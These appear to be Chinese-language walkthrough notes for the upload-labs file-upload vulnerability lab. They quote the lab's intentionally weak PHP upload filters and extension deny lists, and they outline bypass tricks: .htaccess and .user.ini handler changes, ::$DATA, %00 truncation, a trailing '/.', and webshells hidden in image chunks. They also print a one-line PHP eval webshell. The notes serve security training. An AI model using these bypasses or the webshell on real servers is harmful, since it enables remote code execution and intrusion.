uploadlabs通关手册

<form action="http://192.168.132.132/mypage/upload-labs/Pass-01/index.php" enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
	<input type="file" name="upload_file"/>
	<input type="submit" name="submit" value="上传"/>
</form>

if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif'))

$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']); // 去掉空格
$file_name = deldot($file_name);// 删除文件名末尾的点,这个不是php的函数,是自己实现的
$file_ext = strrchr($file_name, '.'); // 查找.在整个文件名中最后一次出现的位置
$file_ext = strtolower($file_ext); // 转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);// 去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空

AddType application/x-httpd-php .php .phtml .php5 .php3

$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");

<FilesMatch "myfilename">
SetHandler application/x-httpd-php
</FilesMatch>

AddType application/x-httpd-php .jpg # 这个是MIME的文件格式

$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $img_path = UPLOAD_PATH.'/'.$file_name;
    if (move_uploaded_file($temp_file, $img_path)) {
        $is_upload = true;
    } else {
        $msg = '上传出错！';s
    }
} else {
    $msg = '此文件类型不允许上传！';
}

auto_append_file = index.txt
# 在主文件之后自动解析文件名
auto_prepend_file = index.txt
# 在主文件之前自动解析文件名
# 这里的脚本文件是index.txt,也就是说将index.txt按照php进行解析

$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $img_path = UPLOAD_PATH.'/'.$file_name;
    if (move_uploaded_file($temp_file, $img_path)) {
        $is_upload = true;
    } else {
        $msg = '上传出错！';
    }
} else {
    $msg = '此文件类型不允许上传！';
}

$file_name = str_ireplace($deny_ext,"", $file_name); // 将后缀名替换为空

$img_path = $_GET['save_path']."/".rand(10,99).date("YmdHis").".".$file_ext;
// 这个是GET请求
// 通过下面的图片可以得出?save_path = ../upload/first.php%00
// $img_path = ../upload/first.php%00/show.jpg
// %00就是空格,被%00阶段后就变成了../upload/first.php /show.jpg后面的/show.jpg被截断就只剩下../upload/first.php

$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

$strInfo = @unpack("C2chars", $bin); // 前面+@是为了防止出现警告,函数从二进制字符串对数据进行解包。  
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']); // 函数用于获取变量的整数值

<?php @eval($_POST['cmd']);?>

image_type_to_extension(); //根据指定的图像类型返回对应的后缀名

exif_imagetype(); // 返回的图像类型的 MIME 类型

渲染前后的两张 GIF，没有发生变化的数据块部分直接插入 Webshell 即可
PNG 没有 GIF 那么简单，需要将数据写入到 PLTE 数据块 或者 IDAT 数据块
JPG 需要使用脚本将数据插入到特定的数据块，而且可能会不成功，所以需要多次尝试

$file_ext = pathinfo($file_name,PATHINFO_EXTENSION); // 返回文件的后缀
move_uploaded_file() // 有这么一个特性，会忽略掉文件末尾的 /.

$img_path = UPLOAD_PATH . '/' .$file_name;
upload/upload-19.php/. # 后缀名名为空